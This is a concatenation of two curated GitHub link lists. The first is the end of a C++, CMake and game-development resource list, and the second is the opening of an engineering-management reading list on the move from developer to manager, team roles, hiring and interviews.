- [conan-irrlicht](https://github.com/mpusz/conan-irrlicht) : Conan recipe for Irrlicht library
- [cmake-scripts](https://github.com/mpusz/cmake-scripts) : CMake scripts shared among other repositories
- [conan](https://github.com/conan-io/conan) : Conan - The open-source C/C++ package manager
- [premake-cmake](https://github.com/TurkeyMan/premake-cmake) : cmake output for premake5
- [vcpkg](https://github.com/microsoft/vcpkg) : C++ Library Manager for Windows, Linux, and MacOS
- [ucm](https://github.com/onqtam/ucm) : Useful cmake macros that help with: compiler/linker flags, collecting sources, PCHs, Unity builds and other stuff.
- [cotire](https://github.com/sakra/cotire) : CMake module to speed up builds.
- [cmakepp](https://github.com/toeb/cmakepp) : An Enhancement Suite for the CMake Build System
- [cmake_format](https://github.com/cheshirekow/cmake_format) : Source code formatter for cmake listfiles.
- [learning-cmake](https://github.com/Akagi201/learning-cmake) : learning cmake
- [cpp-project](https://github.com/bsamseth/cpp-project) : Boiler plate template for C++ projects, with CMake, Doctest, Travis CI, Appveyor, Github Actions and coverage reports.
- [conan-center-index](https://github.com/conan-io/conan-center-index) : Recipes for the ConanCenter repository
- [ios-cmake](https://github.com/leetal/ios-cmake) : A CMake toolchain file for iOS, watchOS and tvOS C/C++/Obj-C++ development
- [Box2D-cmake](https://github.com/tobanteGaming/Box2D-cmake) : CMake wrapper for Box2D, since it uses premake5
- [cpp-oss-template](https://github.com/utilForever/cpp-oss-template) : C++ Open Source Software Template
- [cmake](https://github.com/CLIUtils/cmake) : A set of cmake modules to assist in building code
- [travis-gtest-cmake-example](https://github.com/gujans/travis-gtest-cmake-example) : Example of a gtest and cmake set up for C++ on Travis-CI.
- [gtest-cmake-example](https://github.com/dmonopoly/gtest-cmake-example) : Helpful example of a gtest and cmake set up for C++.
- [travis_gcc_cpp17](https://github.com/richelbilderbeek/travis_gcc_cpp17) : Minimal C++17 project using the GCC compiler and is checked by Travis CI
## Awesome
[Back to top](#Index)
- [awesome-cmake](https://github.com/onqtam/awesome-cmake) : A curated list of awesome CMake resources, scripts, modules, examples and others.
- [bookmarks](https://github.com/CodepediaOrg/bookmarks) : Collection of public dev bookmarks, shared with
- [cpp_youtube_channels](https://github.com/shafik/cpp_youtube_channels) : Listing of C++ Youtube channels for conferences and user groups
- [programming-talks](https://github.com/hellerve/programming-talks) : Awesome & interesting talks about programming
- [awesome-modern-cpp](https://github.com/rigtorp/awesome-modern-cpp) : A collection of resources on modern C++
- [Awesome-Game-Networking](https://github.com/MFatihMAR/Awesome-Game-Networking) : A Curated List of Game Network Programming Resources
- [awesome-behavior-trees](https://github.com/BehaviorTree/awesome-behavior-trees) : A list of awesome Behavior Trees resources
- [GameDevelopmentLinks](https://github.com/UnterrainerInformatik/GameDevelopmentLinks) : This is a collection of useful game-development links including, but not restricted to, development with MonoGame.
- [awesome-entity-component-system](https://github.com/jslee02/awesome-entity-component-system) : A curated list of Entity-Component-System (ECS) libraries and resources
- [awesome-casestudy](https://github.com/luruke/awesome-casestudy) : Curated list of technical case studies on WebGL and creative development
- [awesome-cg-vfx-pipeline](https://github.com/cgwire/awesome-cg-vfx-pipeline) : List of open-source technologies that help in the process of building a pipeline for CG and VFX productions
- [awesome-glsl](https://github.com/radixzz/awesome-glsl) : Compilation of the best resources to learn programming OpenGL Shaders
- [cpp_blogs](https://github.com/shafik/cpp_blogs) : C++ Blogs (plus other stuff we should care about like undefined behavior)
- [awesome-rtx](https://github.com/vinjn/awesome-rtx) : Curated collection of projects leveraging NVIDIA RTX technology (OptiX, DXR, VKR)
- [zalo.github.io](https://github.com/zalo/zalo.github.io) : A home for knowledge that is hard to find elsewhere
- [awesome-gamedev](https://github.com/mbrukman/awesome-gamedev) : A list of Game Development resources to make magic happen.
- [gamedev-resources](https://github.com/Ibuprogames/gamedev-resources) : An updated collection of useful resources to resources to design, develop and market games.
- [build-your-own-x](https://github.com/danistefanovic/build-your-own-x) : Build your own (insert technology here)
- [awesome-ray-tracing](https://github.com/dannyfritz/awesome-ray-tracing) : Curated list of ray tracing resources
- [awesome-vulkan](https://github.com/vinjn/awesome-vulkan) : Awesome Vulkan ecosystem
- [awesome-opengl](https://github.com/eug/awesome-opengl) : A curated list of awesome OpenGL libraries, debuggers and resources.
- [hall-of-fame](https://github.com/sourcerer-io/hall-of-fame) : Show some love to your contributors! A widget for your repo README. Visual and clean. Refreshes every hour.
- [awesome-collision-detection](https://github.com/jslee02/awesome-collision-detection) : A curated list of awesome collision detection libraries and resources
- [AwesomePerfCpp](https://github.com/fenbf/AwesomePerfCpp) : A curated list of awesome C/C++ performance optimization resources: talks, articles, books, libraries, tools, sites, blogs. Inspired by awesome.
- [awesome-d3d12](https://github.com/vinjn/awesome-d3d12) : Awesome D3D12 ecosystem
- [awesome-cpp](https://github.com/fffaraz/awesome-cpp) : A curated list of awesome C++ (or C) frameworks, libraries, resources, and shiny things. Inspired by awesome-... stuff.
- [awesome-bits](https://github.com/keon/awesome-bits) : A curated list of awesome bitwise operations and tricks
- [cpplinks](https://github.com/MattPD/cpplinks) : A categorized list of C++ resources.
- [awesome-gametalks](https://github.com/ellisonleao/awesome-gametalks) : A curated list of gaming talks (development, design, etc)
- [awesome-design](https://github.com/Calinou/awesome-design) : Best UI/UX Design Sources For Developer & Designer Ever :)
- [awesome-gamedev](https://github.com/Calinou/awesome-gamedev) : A collection of free software and free culture resources for making amazing games. (mirror)
- [magictools](https://github.com/ellisonleao/magictools) : A list of Game Development resources to make magic happen.
- [awesome](https://github.com/sindresorhus/awesome) : Awesome lists about all kinds of interesting topics
- [awesome-c](https://github.com/uhub/awesome-c) : A curated list of awesome C frameworks, libraries and software.
- [awesome-mental-health](https://github.com/dreamingechoes/awesome-mental-health) : A curated list of awesome articles, websites and resources about mental health in the software industry.
- [modern-cpp-tutorial](https://github.com/utilForever/modern-cpp-tutorial) : A curated list of Modern C++ articles, examples, tutorials, frameworks, libraries, and shiny things.
- [awesome-wgpu](https://github.com/rofrol/awesome-wgpu) : A curated list of wgpu code and resources.
- [awesome-gametalks](https://github.com/hzoo/awesome-gametalks) : A curated list of gaming talks (development, design, etc)
- [data-oriented-design](https://github.com/dbartolini/data-oriented-design) : A curated list of data oriented design resources.
- [awesome-actions](https://github.com/sdras/awesome-actions) : A curated list of awesome actions to use on GitHub
- [awesome-raylib](https://github.com/Rabios/awesome-raylib) : A curated list of awesome stuff for raylib; the simple and easy-to-use library to enjoy videogames programming.
## GameProgrammerPath
[Back to top](#Index)
- [uLicense](https://github.com/r-lyeh/uLicense) : Tiny and free software license in 299 bytes.
- [game-programmer](https://github.com/miloyip/game-programmer) : A Study Path for Game Programmer
- [every-programmer-should-know](https://github.com/mtdvio/every-programmer-should-know) : A collection of (mostly) technical things every software developer should know
- [coding-interview-university](https://github.com/jwasham/coding-interview-university) : A complete computer science study plan to become a software engineer.
- [interviews](https://github.com/kdn251/interviews) : Everything you need to know to get the job.
- [interview](https://github.com/andreis/interview) : Everything you need to prepare for your technical interview
- [reverse-interview](https://github.com/viraptor/reverse-interview) : Questions to ask the company during your interview
- [SoftwareArchitect](https://github.com/justinamiller/SoftwareArchitect) : Path to a Software Architect
## GameDesign
[Back to top](#Index)
- [gamebook](https://github.com/r-lyeh-archived/gamebook) : An unified game design document convention (CC0, Markdown)
- [trust](https://github.com/ncase/trust) : An interactive guide to the game theory of cooperation
## Website
[Back to top](#Index)
- [minimal-mistakes](https://github.com/mmistakes/minimal-mistakes) : Jekyll theme for building a personal site, blog, project documentation, or portfolio.
- [water.css](https://github.com/kognise/water.css) : A just-add-css collection of styles to make simple websites just a little nicer
- [coder](https://github.com/googlecreativelab/coder) : A simple way to make web stuff on Raspberry Pi
- [Freelander](https://github.com/umpirsky/Freelander) : Simple landing page that just works.
- [animate.css](https://github.com/daneden/animate.css) : A cross-browser library of CSS animations. As easy to use as an easy thing. http://daneden.github.io/animate.css
- [electron](https://github.com/electron/electron) :
<!-- END -->
|
<!--lint disable awesome-heading-->
<p align="center">
<a href="https://github.com/kdeldycke/awesome-engineering-team-management/">
<img src="https://github.com/kdeldycke/awesome-engineering-team-management/raw/main/assets/awesome-management-header.png" alt="Awesome Engineering Team Management">
</a>
</p>
<p align="center">
<a href="https://github.com/sponsors/kdeldycke">
<strong>Yᴏᴜʀ Mᴀɴᴀɢᴇᴍᴇɴᴛ & Tᴇᴀᴍ Pʀᴏᴅᴜᴄᴛ ʜᴇʀᴇ!</strong>
<br/>
<sup>Add a link to your company or project here: back me up via a GitHub sponsorship.</sup>
</a>
</p>
---
<p align="center">
<i>The manager's function is not to make people work, but to make it possible for people to work.</i><br>
— Tom DeMarco<sup id="intro-quote-ref"><a href="#intro-quote-def">[1]</a></sup>
</p>
A curated [](https://github.com/sindresorhus/awesome) list **for software developers to transition to an engineering management role**. Compiles advices, anecdotes, knowledge tidbits, discussions, industry small-talks and rants. A bibliography of sort, gathered the last few years while [transitioning my career from a software engineer to an engineer's manager](https://devtomanager.com/interviews/kevin-deldycke/). And later from a manager to a manager's managers (you all love recursion right? ʘ‿ʘ).
- You're a developer and wonders what it feels like to be a manager?
- You just started your first position as the leader of a team?
- You're stuck into the day-to-day operations of the job?
- How can I move up to the next level?
You'll find answers in this guide! It stands out from generic leadership and management literature, by providing uncompromising insights and practical advices to bootstrap your journey into the management career track, from a technical background.
This list provides a progression to help with the transition to management. From general to specifics. It starts with an overview of the role, then describes its requirements, and its position relative to others. Then we delves into the day-to-day tools of the trade, both organizational and behavioral. At last we discuss about some of the dark sides of the job.
## Contents
<!-- mdformat-toc start --slug=github --no-anchors --maxlevel=6 --minlevel=2 -->
- [Engineering to Management Transition](#engineering-to-management-transition)
- [Building Teams](#building-teams)
- [Roles](#roles)
- [Executives](#executives)
- [CTO & VP of Engineering](#cto--vp-of-engineering)
- [Engineering Managers](#engineering-managers)
- [Engineers](#engineers)
- [Consultants](#consultants)
- [Recruitment](#recruitment)
- [Job Boards](#job-boards)
- [Hiring Process](#hiring-process)
- [Interview](#interview)
- [Coding Challenge](#coding-challenge)
- [Negotiation](#negotiation)
- [Onboarding](#onboarding)
- [Motivation](#motivation)
- [Happiness](#happiness)
- [Procrastination](#procrastination)
- [Culture](#culture)
- [Cognitive Tools](#cognitive-tools)
- [Collections](#collections)
- [Explaining](#explaining)
- [Problem Solving](#problem-solving)
- [Systems](#systems)
- [Brainstorming](#brainstorming)
- [Behavioral](#behavioral)
- [Team Dynamics](#team-dynamics)
- [Engineering](#engineering)
- [The Technical Engineering Manager](#the-technical-engineering-manager)
- [Systems Complexity](#systems-complexity)
- [Technology](#technology)
- [Engineering Practices](#engineering-practices)
- [Technical Debt](#technical-debt)
- [Remote Work](#remote-work)
- [Meetings](#meetings)
- [1 on 1](#1-on-1)
- [Standups](#standups)
- [Facilities](#facilities)
- [Product Management](#product-management)
- [Hiring PMs](#hiring-pms)
- [Product-Market Fit](#product-market-fit)
- [Product Strategy](#product-strategy)
- [User-Centered Design](#user-centered-design)
- [Product Marketing](#product-marketing)
- [Project Management](#project-management)
- [Specifications](#specifications)
- [Estimations](#estimations)
- [Tickets](#tickets)
- [Agile](#agile)
- [Key Performance Indicator (KPI)](#key-performance-indicator-kpi)
- [Objectives and Key Results (OKR)](#objectives-and-key-results-okr)
- [Training](#training)
- [Communication](#communication)
- [Knowledge](#knowledge)
- [Reading](#reading)
- [Documentation](#documentation)
- [Writing](#writing)
- [Style](#style)
- [Presentations](#presentations)
- [Career](#career)
- [Promotion](#promotion)
- [Performance Reviews](#performance-reviews)
- [Compensation](#compensation)
- [Salary](#salary)
- [Equity](#equity)
- [Politics](#politics)
- [Re-organizations](#re-organizations)
- [Team-level](#team-level)
- [Company-level](#company-level)
- [Acquisition](#acquisition)
- [Health](#health)
- [Holidays](#holidays)
- [Stress](#stress)
- [Burnout](#burnout)
- [Setbacks and Failures](#setbacks-and-failures)
- [Exits](#exits)
<!-- mdformat-toc end -->
## Engineering to Management Transition
The first step. The hardest: how to requalify oneself from an Individual Contributor (IC) to a front-line manager.
- You always been a developer. Being offered [a management position is not a promotion. It is a change in career](https://fractio.nl/2014/09/19/not-a-promotion-a-career-change/).
- [17 Reasons not to be a Manager](https://charity.wtf/2019/09/08/reasons-not-to-be-a-manager/) - An article to [discourage the faint-hearted recruits](https://youtu.be/b07887ZzKiw?t=40).
- [Advice to New Managers: Don't Joke About Firing People](https://staysaasy.com/engineering/2020/06/09/Don%27t-Joke.html) - “The second you became their manager you forfeited the right to joke around in any capacity about their employment at the company.”
- [Advice to new managers](https://twitter.com/ValaAfshar/status/966125964861280256) - 9 fundamental principles of the behavior required to be a great manager.
- [Mistakes I've Made as an Engineering Manager](https://css-tricks.com/mistakes-ive-made-as-an-engineering-manager/) - Mistakes: “1) Thinking people give feedback the way they want to receive it; 2) Trying to do everything yourself; 3) Communicating something one time is enough; 4) You have to have everything together all the time.”
- [Why It's Easier to Manage 4 People Than It Is to Manage 1 Person](https://staysaasy.com/management/2020/07/24/Managing-One-Person.html) - “Avoid at all costs the combination of: new manager, 1 report, report is new-to-industry, manager is not a subject-matter expert.”
- [Going from Developer to Manager. What should I know or learn?](https://news.ycombinator.com/item?id=18823616)
- [How to be a Manager – A step-by-step guide to leading a team](https://getweeklyupdate.com/manager-guide) - A full, detailed guide on modern management practices.
- [On being an Engineering Manager](https://ruiper.es/posts/engineer-manager-2017/) - Some of these points needs nuance, but others are a good taste of things to come for first-time managers.
- [Responsibility vs. accountability](https://news.ycombinator.com/item?id=21892816) - The biggest difference between manager (accountable) and engineers (responsible): “'Bad things' happen for the person accountable, whereas the person responsible can move on to the next project.”
- “A computer can never be held accountable. Therefore a computer must never make a management decision.” - An [IBM slide from 1979](https://twitter.com/mit_csail/status/1604884273789603842).
- “It is a job where your goal is to try disappoint people most slowly.” ([source](https://news.ycombinator.com/item?id=18222488)).
- “So the trick is basically to put them (your direct reports) in charge, not you. You have the supporting role, they can request things from you. But the goal needs to be very clear.” ([source](https://news.ycombinator.com/item?id=23973859)) - A recipe on how to work with your direct reports, from a section of [7 habits of highly effective people](https://www.amazon.com/dp/1982137274?&linkCode=ll1&tag=kevideld-20&linkId=5920a3d486de941b37430f948d377bc9&language=en_US&ref_=as_li_ss_tl).
- [The One Minute Manager Meets the Monkey](https://www.amazon.com/dp/0688103804?&linkCode=ll1&tag=kevideld-20&linkId=704eff2e2cddae6d97ef082a6f25bafd&language=en_US&ref_=as_li_ss_tl) - The author use a parable in which problems are monkeys. Unexperienced managers let monkeys being transferred to them, accumulates on their back and compounds. From this, the book teach you how to change from taking on responsibilities to delegating them so you don't become a bottleneck.
## Building Teams
You got the title and the pay grade. Congratulation! This doesn't make you a manager yet. Whether you inherit an already existing team or have to start from scratch, you'll need to practice the art of building (and consolidating) them.
- [Building and Motivating Engineering Teams](http://www.elidedbranches.com/2016/11/building-and-motivating-engineering.html) - What DO engineers want? Money, purpose and respect.
- [What Google Learned From Its Quest to Build the Perfect Team](https://www.nytimes.com/2016/02/28/magazine/what-google-learned-from-its-quest-to-build-the-perfect-team.html) - “Google's data indicated that psychological safety, more than anything else, was critical to making a team work. (…) The behaviors that create psychological safety — conversational turn-taking and empathy — are part of the same unwritten rules we often turn to, as individuals, when we need to establish a bond.”
- [Paper we love: Software Engineering Organizations](https://github.com/papers-we-love/papers-we-love/tree/master/software_engineering_orgs) - “The practice of software engineering, and its history is, itself, a complex study in humanity, coordination, and communication.”
- [Developer Tropes: "Google does it"](https://tomaytotomato.com/developer-tropes-2/) - It's [cargo-cultish](https://en.wikipedia.org/wiki/Cargo_cult) to imitate the big names in our industry as a path to success. Instead, the take home from this article “would be that managers and other leaders should be like ecologists; who measure, observe and nurture their ecosystems. Doing so will help build a unique workplace that will yield great results.”
## Roles
On the profiles, attitude, behaviors, and expectations between developers, managers and executives.
### Executives
Executives are the senior/highest management layers of a company. They reports to a board of directors in bigger companies, or directly to the shareholders in smaller ones. Leadership is expected at this level. As a manager these are the people you report to.
- [What do executives do, anyway?](https://apenwarr.ca/log/20190926) - Paraphrasing [Andy Grove's book, High Output Management](https://www.amazon.com/dp/0394532341?&linkCode=ll1&tag=kevideld-20&linkId=f80a2e0610594cad92d301c587380f0a&language=en_US&ref_=as_li_ss_tl), “the job of an executive is: to define and enforce culture and values for their whole organization, and to ratify good decisions.” The article also details the failures modes of a CEO: forcing his own decisions downstream, or various ways of not resolving conflicts.
- [Executives ratify decisions made on the spot](https://twitter.com/kdeldycke/status/1088001688722644992) - Refines the concept above adapting [Tolstoy's thesis to business](https://news.ycombinator.com/item?id=18089716).
- [Army Leadership and the Profession](https://fas.org/irp/doddir/army/adp6_22.pdf) - Establishes and describes what leaders should be and do.
- [US Air Force's Strategic Leadership Studies](https://web.archive.org/web/20190308062113/http://leadership.au.af.mil/sls-skil.htm) - A reference of leadership's competencies and skills.
- [What Only the CEO Can Do](https://hbr.org/2009/05/what-only-the-ceo-can-do) - “1. Defining and interpreting the meaningful "outside" of the company; 2. Answering the two-part question: What business are we in and what business are we not in? 3. Balancing sufficient yield in the present with necessary investment in the future; 4. Shaping the values and standards of the organization.”
- [How CEOs Manage Time](https://hbr.org/2018/07/the-leaders-calendar) - A study on what CEO of large companies spent their time on, and how. Opens a new window into what leadership is all about and into its many components and dimensions.
- [Operations and Internal Communication Strategies For Effective CEOs](https://www.sametab.com/blog/operations-and-internal-communication-strategies-for-effective-ceos) - After insisting on the importance of context and narratives, the author provide an interesting template (good for inspiration) of ritual and recurring internal communication devices.
- [Regis McKenna's talk at Silicon Valley Leaders Symposium](https://youtu.be/5Z13NI0SuyA?t=2026) - “These are the things we (marketers) used to do with individuals and bodies. They've all become automated. The CIO is the marketing chief now.”
- [Narcissistic CEOs Weaken Collaboration and Integrity](https://www.gsb.stanford.edu/insights/narcissistic-ceos-weaken-collaboration-integrity) - “The prototypic visionary leader profile is so similar to that of a narcissist, if boards aren't careful, they're going to end up choosing people who are narcissistic as CEOs”.
- “Hiring isn't the challenge. The challenge is finding people who can be effective while working for executives whose only qualifications and training are narcissistic levels of self confidence.” ([source](https://twitter.com/kellan/status/1205113384632500224)).
- “The CEO positions himself as a controlling, micromanaging individual at the center of everything. This makes it possible for the CEO to intercept financials and other crucial numbers en route to people who might catch on.” ([source](https://news.ycombinator.com/item?id=24519247)) - Or how fraud can endure at the top level. That's generally why you need a board of directors as an oversight.
### CTO & VP of Engineering
In tech companies these roles are critical, and the frontier between the two is often blurry.
- [CTO vs VP Engineering: What's the Difference?](https://www.ivyexec.com/career-advice/2015/cto-versus-vp-engineering-whats-the-difference/) - CTO manage a small staff of hackers. VP of Engineering lead an organization of engineers.
- [Want to Know the Difference Between a CTO and a VP Engineering?](https://bothsidesofthetable.com/want-to-know-the-difference-between-a-cto-and-a-vp-engineering-4fc3750c596b) - Another way to look at thing: placing these roles along the “Process Orientation” and “Technical Capability” quadrants.
- [The different skills needed to be a successful CTO](https://madewithlove.be/one-job-many-roles-the-different-skills-needed-to-be-a-successful-cto/) - The premise is a little misleading, as what is detailed there is the journey, in a startup, of the technical founder growing with the company to become a CTO. At which point the position described in the article is not CTO, but VP of Engineering.
- [Hiring a VP of Engineering? Use This Framework](https://review.firstround.com/hiring-a-vp-of-engineering-use-this-framework-from-shopify%27s-vpe-to-get-it-right) - “*How do I hire a VP of Engineering?* After more than 20 years, eight companies, and thousands of hires, I'm starting to suspect this may be the wrong question. A better one is, *What is a VP of Engineering?*”
- [“That's usually about the time I nope right out of the interview”](https://news.ycombinator.com/item?id=19188246) - Bad signs of a CTO trying to recruit an engineering manager, or the perils of not believing in hierarchies.
### Engineering Managers
Managers came in all form and shape, and the title and daily activities varies a lot depending on companies. When developers directly reports to you, you'll find yourself at the first management level: you are a front-line engineering manager.
- [What are the signs that you have a great manager?](https://news.ycombinator.com/item?id=20230133) - “The irony is that you don't really notice a great manager.”
- [Identify what makes a great manager](https://rework.withgoogle.com/guides/managers-identify-what-makes-a-great-manager/steps/learn-about-googles-manager-research/) - Google tried to prove managers don't matter. Instead, it discovered [10 Traits of the Very Best Ones](https://web.archive.org/web/20200811104655/https://www.inc.com/scott-mautz/google-tried-to-prove-managers-dont-matter-instead-they-discovered-10-traits-of-very-best-ones.html).
- [As a product manager, how do you earn the respect and trust of your team?](https://twitter.com/johncutlefish/status/1124938723093766144)
- [Good Boss, Bad Boss: A Peek Inside the Minds of the Best (and Worst)](https://www.youtube.com/watch?v=lmBSh1FGQyY) - A good boss: gets rid of rotten apples (no asshole rule) and protects people from idiocy from on high.
- “One of your roles is to act as an information filter in both directions” ([source](https://news.ycombinator.com/item?id=19187593)) - Some tips on how to balance which kind of information needs to be shared or muted.
- [Great PMs don't spend their time on solutions](https://www.intercom.com/blog/great-product-managers-dont-spend-time-on-solutions/) - Not on solutions, no. But on customer's problems.
- [Things I have learnt as the software engineering lead of a multinational](https://minnenratta.wordpress.com/2017/01/25/things-i-have-learnt-as-the-software-engineering-lead-of-a-multinational/) - Some interesting points here, some others needs to be challenged.
- [Surprising Things About Working at Well-Known Tech Unicorns](https://blog.pragmaticengineer.com/surprising-things-about-working-at-tech-unicorns/) - Echoes my own experience on differences between expectations and reality in high growth and visible companies from the point of view of an engineering manager.
- [100+ Lessons Learned for Project Managers](https://llis.nasa.gov/lesson/1956) - 122 aphorisms providind insights into NASA project management success. Covers design, decision-making, managing staff, working with superiors and contractors.
- [Engineering Manager Resources](https://github.com/ryanburgess/engineer-manager) - Huge list, but need some curation.
- [A vitally important part of the job: being a crap shield](https://news.ycombinator.com/item?id=24802483) - “A lot of the work of an EM is wading into the slurry pit with a shovel so your team are free to get the job done”.
### Engineers
- [Programmer Moneyball: Challenging the Myth of Individual Programmer Productivity](https://insights.sei.cmu.edu/sei_blog/2020/01/programmer-moneyball-challenging-the-myth-of-individual-programmer-productivity.html) - “Since software project managers have limited ability to evaluate individual developer capability, they should rely on a productive environment and developing talent.”
- “10x developers (…) rapidly become 1x developers (or worse) if you don't let them make their own architectural choices” ([source](https://news.ycombinator.com/item?id=5496914)).
- [7 absolute truths I unlearned as junior developer](https://monicalent.com/blog/2019/06/03/absolute-truths-unlearned-as-junior-developer/) - “1. I'm a senior developer; 2. Everyone writes tests; 3. We're so far behind everyone else (a.k.a. tech FOMO); 4. Code quality matters most; 5. Everything must be documented; 6. Technical debt is bad; 7. Seniority means being the best at programming”.
- [On Being A Senior Engineer](https://www.kitchensoap.com/2012/10/25/on-being-a-senior-engineer/) - “I expect a 'senior' engineer to be a *mature* engineer.”
- [Things I Learnt from a Senior Software Engineer](https://neilkakkar.com/things-I-learnt-from-a-senior-dev.html) - “I sat next to a senior software engineer for a year. Here's what I learnt.”
- [5 Things I've Learned in 20 Years of Programming](https://daedtech.com/5-things-ive-learned-in-20-years-of-programming/) - “A programmer with 5 years of experienced has more industry tenure than half of the entire industry.” Also see this follow-up comment of [10 things I've learned after 35 years](https://news.ycombinator.com/item?id=21612990).
- [Devs I really enjoy pairing with](https://twitter.com/ScribblingOn/status/1002598672444448768) - “Don't act like know-it-alls; Openly admit if they don't know something; Try to figure stuff out together”.
- [All the best engineering advice I stole from non-technical people](https://medium.com/@bellmar/all-the-best-engineering-advice-i-stole-from-non-technical-people-eb7f90ca2f5f) - “It's intriguing that the stuff that really seems to make a difference in the quality of software never seems to be about software.”
- [What Makes A Great Software Engineer?](https://faculty.washington.edu/ajko/papers/Li2015GreatEngineers.pdf) - Doesn't conclude on a definitive answer to the question, but details a model based on 53 attributes (!). Still a good source referencing other papers on the topic.
- [What makes a Senior Dev](https://news.ycombinator.com/item?id=11341567) - “Time, man. You gotta do your fucking time.”
- [The different engineering levels at Google](https://news.ycombinator.com/item?id=24627229) - From L3 to L8: a quick description of what makes an engineer at each level.
- [How I operated as a Staff engineer at Heroku](https://amyunger.com/blog/2020/09/10/staff-engineer-at-heroku.html) - A great window into the somewhat nebulous title of Staff Engineer, also called Principal Engineer or Software Architect at times. I.e. a role in which you are a technical expert, but know how to solve non-obvious engineering issues, most of the time because they are rooted in social, communications and hierarchical complexities.
- [StaffEng](https://staffeng.com) - Once you've reached the Senior Software Engineer level, you're at the crossroad. Either you pursue engineering management or continue down the path of technical excellence to become a Staff Engineer. This isa collection of guides about the later position.
- [10 Admirable Attributes of a Great Technical Lead](https://betterprogramming.pub/10-admirable-attributes-of-a-great-technical-lead-251d13a8843b) - “They are smart yet kind. Knowledgeable, yet humble. Busy, yet approachable.”
### Consultants
- “A consultant is someone 4 pages ahead in the manual” ([source](https://news.ycombinator.com/item?id=20786286)).
- “The value that most orgs get from a consultant (…) is the political cover to make changes they knew they should make all along, but didn't have the social capital or the focus to make those changes” ([source](https://news.ycombinator.com/item?id=21714791)). And that's the reason bureaucracies and highly political organizations are fertile grounds for consultants.
- [The Prosperous Software Consultant](https://dabit3.medium.com/the-prosperous-software-consultant-5dc8d705c5dd) - This article let you understand how an independent consultant operates.
## Recruitment
You're in a competitive sector in which talents are in high demand. Be prepared as a manager to spend a lot of time recruiting people, either to expand your team or fill-in open positions. The dynamics gets interesting too, as you are now on both sides of the hiring process: as a candidate to get a job, and as a recruiter to staff up your team.
### Job Boards
By targeting the right place to post your job offer to, you're increasing your chances of targeting the right candidates.
- [Awesome Job Boards](https://github.com/tramcar/awesome-job-boards) - Niche job boards by domains, technology, roles and area.
- [Hiring Without Whiteboards](https://github.com/poteto/hiring-without-whiteboards) - List of companies without the kind of CS trivia questions that are associated with bad interview practices.
### Hiring Process
High-growth company will all need to industrialize the hiring process at one point.
- [Hire people who aren't proven](https://leonardofed.io/blog/startups-hiring.html) - If anyone else in the world can objectively assess a candidate to be a great player, then you and your startup won't be able to hire the player. Someone will steal the candidate from you. That's why you have to go after people that aren't proven. In short, you need to be extremely good at forecasting talent.
- [Why I Never Hire Brilliant Men](https://en.wikisource.org/wiki/Why_I_Never_Hire_Brilliant_Men) - 5 simple rules for hiring men, from 1924. Things haven't changed a lot in a century.
- [A Good Tech Resume](https://thetechresume.com/A_Good_Tech_Resume.pdf) - A compilation of advices and example, but containing a good description of a typical hiring pipeline.
- [Job Interviewing Guide](https://www.homerun.co/artofwork/guides/job-interviewing) - A detailed description of a hiring process, a great source of inspiration for when your company gets big enough to start to formalize things up.
- [Open Sourced Interview Process](https://github.com/cockroachlabs/open-sourced-interview-process) - Cockroach Labs published their process “to create familiarity for candidates and account for bias, resulting in a better candidate experience and hiring decisions.”
- [Rethinking the Hiring Process](https://www.karllhughes.com/posts/rethinking-hiring) - “Testing programmers at something they aren't actually expected to be good at and expecting to learn something about how they would work at your company is delusional, and I think these kind of interviews only serve to make the hiring team feel smarter and ensure better outcomes for engineers with traditional CS backgrounds.”
### Interview
List of questions that can be used when vetting potential candidates, and topics to draw inspiration from to be used as conversation starters.
- [The Technical Interview is an Ego Trip](https://web.archive.org/web/20221101193146/https://kowsheek.com/the-technical-interview-is-an-ego-trip/) - Starts with anecdote of developers using a job interview as a vehicule to demonstrate their superiority. Then the author details a reasonable interview process that is trying to not waste anyone's time.
- [The Intangible Skills You Can't Interview For](https://staysaasy.com/leadership/2021/04/12/the-intangible-skills-you-cant-interview-for.html) - “1) Cut-Through on Crappy Tasks; 2) Knowing How to Finish; 3) Knowing How to Start; 4) Giving (And Receiving) Diagonal Feedback; 5) Harnessing the Value of Intangibles.”
- [Back-End Developer Interview Questions](https://github.com/arialdomartini/Back-End-Developer-Interview-Questions) - A great source of inspiration.
- [Engineering Leadership Interviews](https://github.com/kaushikb9/em-interviews) - An outline on how to recruit for engineering manager roles.
- [Reverse interview](https://github.com/viraptor/reverse-interview) - Questions to ask the company during your interview. Be prepared to answer them as a manager.
- [Culture Queries](https://www.keyvalues.com/culture-queries) - A sample of question to ask in job interviews to try to understand the values of a company.
- [Secret manager trick of hiring data scientists](https://twitter.com/kdeldycke/status/1008383946831417344) - Convince them that what they're doing is machine learning.
- [Book Summary of "Who: The A Method for Hiring"](https://medium.com/mbreads/book-summary-who-c4a437d8ae3a) - The essential of [*Who*, a popular book](https://www.amazon.com/Who-Geoff-Smart/dp/0345504194?_encoding=UTF8&qid=1686402298&sr=1-1&linkCode=ll1&tag=kevideld-20&linkId=d4a63bc5d11e6d00d942c293a640e2c1&language=en_US&ref_=as_li_ss_tl) on recruiting executives.
- “It's true that not all developers make positive contributions, however, I think that blaming "lowering hiring standards" (…) is a complete red herring.” ([source](https://news.ycombinator.com/item?id=13209317)) - Examples in which developers that might pass tough job interview just fine are bringing negative value later.
### Coding Challenge
The absence of coding exercise will left the door open to fraud. OTOH, if elitist challenges decrease the number of false-positive, you will pass on perfectly capable and great developers. Now it is your job as manager to find balance between these two extremes, and set the tone on how to have the candidate demonstrate coding skills.
- [How to Freaking Find Great Developers By Having Them Read Code](https://web.archive.org/web/20230416055512/https://freakingrectangle.com/2022/04/15/how-to-freaking-hire-great-developers/) - “Instead of writing code, consider having the candidate read existing code and talk about how it works. 1) Reading code is 95% of what a developer does as part of their job. 2) A candidate can tell you a lot about their programming skill in the first five minutes of reading. 3) Stress is your enemy because it raises adrenaline which lowers IQ by several points, causing you to miss good candidates.”
- [Organizational Skills Beat Algorithmic Wizardry](https://prog21.dadgum.com/177.html) - “When it comes to writing code, the number one most important skill is how to keep a tangle of features from collapsing under the weight of its own complexity.”
- [The Horrifically Dystopian World of Software Engineering Interviews](https://web.archive.org/web/20210911031845/https://www.jarednelsen.dev/posts/The-horrifically-dystopian-world-of-software-engineering-interviews) - The dark side on relying too much on algorithm challenges.
- [Fizz Buzz Test](https://wiki.c2.com/?FizzBuzzTest) - “Designed to help filter out the 99.5% of programming job candidates who can't seem to program their way out of a wet paper bag.”
